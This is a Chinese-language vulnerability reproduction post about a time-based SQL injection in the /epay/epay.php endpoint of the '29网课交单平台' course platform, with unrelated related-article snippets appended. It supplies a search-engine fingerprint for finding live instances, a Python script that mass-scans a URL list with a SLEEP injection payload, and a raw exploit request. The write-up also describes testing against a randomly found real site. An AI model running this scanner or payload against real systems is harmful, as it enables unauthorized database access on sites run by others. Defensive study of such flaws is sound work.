【漏洞复现】29网课交单平台 SQL注入

embedded/2024/11/14 14:49:50/

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

29网课交单平台是一个在线学习平台,用于帮助学生完成网络课程的学习任务。这个平台提供了包括登录、注册、用户界面、任务进度列表等多种功能,用户可以通过平台管理自己的学习进度,查看和提交作业等。但是这个于平台在 /epay/epay.php 接口处存在sql注入漏洞。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body="你在看什么呢?我写的代码好看吗"

2.使用poc批量扫描

import http.client  # 导入http.client模块,用于发送HTTP请求
import ssl          # 导入ssl模块,用于处理SSL证书验证
import argparse     # 导入argparse模块,用于解析命令行参数
from urllib.parse import urlparse  # 导入urlparse函数,用于解析URL
import time         # 导入time模块,用于计算时间差# 定义控制台输出颜色代码
RED = '\033[91m'   # 红色
RESET = '\033[0m'  # 重置颜色def check_vulnerability(url):"""检查给定URL是否存在特定的SQL注入漏洞。"""try:# 解析URL,获取域名和协议parsed_url = urlparse(url)# 设置请求的路径和数据体path = "/epay/epay.php"  # 要请求的路径# 构造POST请求的数据体,包含潜在的SQL注入payloadbody = "out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC"headers = {"Content-Type": "application/x-www-form-urlencoded",  # 设置Content-Type头"User-Agent": "Mozilla/5.0"  # 设置User-Agent头}# 根据URL的协议创建连接对象,如果是HTTPS则忽略证书验证conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)# 记录开始时间start_time = time.time()# 发送POST请求conn.request("POST", path, body=body, headers=headers)# 获取服务器响应response = conn.getresponse()# 计算请求耗时elapsed_time = time.time() - start_time# 如果响应时间在3到5秒之间,可能表明存在SQL注入漏洞(因为waitfor delay '0:0:3'会延迟响应)if 3 <= elapsed_time <= 5:print(f"{RED}URL [{url}] 可能存在29网课交单平台 epay.php SQL注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except Exception as e:# 如果请求失败,打印错误信息print(f"URL [{url}] 请求失败: {e}")def main():"""主函数,解析命令行参数并调用漏洞检查函数。"""# 创建命令行参数解析器parser = argparse.ArgumentParser(description='检测目标地址是否存在29网课交单平台 epay.php SQL注入漏洞')# 添加命令行参数选项parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')# 解析命令行参数args = parser.parse_args()# 如果指定了单个URL,进行漏洞检查if args.url:# 确保URL格式正确if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果指定了包含多个URL的文件,逐个读取并进行漏洞检查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()  # 读取所有行并去除换行符for url in urls:# 确保URL格式正确if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 当作为主程序运行时,调用main函数
if __name__ == '__main__':main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

POST /epay/epay.php HTTP/1.1
Host:ip
Content-Type: application/x-www-form-urlencodedout_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC

2.数据包分析 

  1. POST: 这是一个HTTP方法,用于向服务器提交数据。

  2. /epay/epay.php: 这是请求的URI,指定了服务器上处理这个请求的具体位置。

  3. HTTP/1.1: 这是使用的HTTP协议版本。

  4. Host: ip: 这里的Host头部字段指定了接收请求的服务器的地址。

  5. Content-Type: application/x-www-form-urlencoded: 这指示了请求体(body)的数据编码格式。

  6. 请求体(Request Body):out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC

    • out_trade_no=是参数名,正常情况下,它可能表示一个交易编号。
    • 'AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC 是追加到参数值中的恶意内容,目的在于测试和利用SQL注入漏洞。
    • SLEEP(5) 是一个MySQL函数,它会暂停(sleep)执行5秒。如果这个请求导致服务器延迟响应5秒,那么攻击者可以确认SQL注入漏洞存在,因为这意味着他们输入的SQL代码已经被数据库执行。
    • 'aEmC'='aEmC 是为了使SQL语句在逻辑上成立(永远为true),从而不干扰原查询的其他部分。

3.结束跑路

执行成功,延时1秒。

执行成功,延时4秒。

寄语:给时光以生命,给岁月以文明。


http://www.ppmy.cn/embedded/58285.html

相关文章

MongoDB如何安装并配置公网地址实现Navicat远程连接本地数据库

文章目录 前言1. 安装Docker2. 使用Docker拉取MongoDB镜像3. 创建并启动MongoDB容器4. 本地连接测试5. 公网远程访问本地MongoDB容器5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定TCP地址远程访问 前言 本文主要介绍如何在Linux Ubuntu系统快速部署MongoDB&#…

医疗器械网络安全| 常见安全漏洞与防护措施

医疗器械网络安全顾问​https://link.zhihu.com/?targethttps%3A//www.wanyun.cn/Support%3Fshare%3D24315_ea8a0e47-b38d-4cd6-8ed1-9e7711a8ad5e 一、常见安全漏洞 医疗器械软件在现代医疗体系中扮演着至关重要的角色&#xff0c;然而&#xff0c;随着技术的不断发展&…

ADOQuery 查询MSSQL存储过程一个莫名其妙的错误;

在 SSMS 中执行完成正常的的存储过程。 也能正常的返回想要的数据&#xff0c;&#xff0c;然后通过 ADO 查询时&#xff0c;总是提法 某 字段不存在的问题&#xff1b; 此问题困扰了一天。 例如&#xff08;当然&#xff0c;实际数据结构比下面举例的复杂&#xff09;&…

解决uni-app中全局设置页面背景颜色只有部分显示颜色的问题

在页面的style标签设置了背景色但是只显示一部分 <style lang"scss"> .content{background-color: #f7f7f7;height: 100vh; } </style>我们在app.vue里设置就行了 注意一定要是**page{}** <style>/*每个页面公共css */page{background-color: #…

SCI二区TOP|蜘蛛黄蜂优化算法(SWO)原理及实现【免费获取Matlab代码】

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献5.代码获取 1.背景 2023年&#xff0c;M Abdel-Basset受到蜘蛛黄蜂优化社会行为启发&#xff0c;提出了蜘蛛黄蜂优化算法&#xff08;Spider Wasp Optimizer, SWO&#xff09;。 2.算法原理 2.1算法思想 S…

搜维尔科技:OptiTrack在NAB2024展示了一系列业界领先的媒体技术

广泛的显示和动作捕捉跟踪技术组合涵盖无与伦比的室内和室外 LED 解决方案、前沿技术演示以及最新的软件和硬件产品 可视化技术领域的全球领导者 Planar及其附属公司 3D 跟踪系统的全球领导者OptiTrack宣布&#xff0c;两家公司将在 2024 年全国广播协会 (NAB) 展会上展示其最全…

MySQL与Oracle 执行计划对比

引言 上一首工作使用的是MySQL数据库&#xff0c;当前这份工作使用的是Oracle数据库 最近在做Oracle数据库的SQL调优&#xff0c;有了一些经验&#xff0c;记录一下调优的方法 并且对比一下MySQL和Oracle的explain用法的区别和相似之处 用于后面自己学习 、回顾。 MySQL与Ora…

设计模式之职责链模式(Chain of Responsibility Pattern)

1.概念 职责链模式&#xff08;Chain of Responsibility Pattern&#xff09;&#xff1a;避免将请求发送者与接收者耦合在一起&#xff0c;让多个对象都有机会接收请求&#xff0c;将这些对象连接成一条链&#xff0c;并且沿着这条链传递请求&#xff0c;直到有对象处理它为止…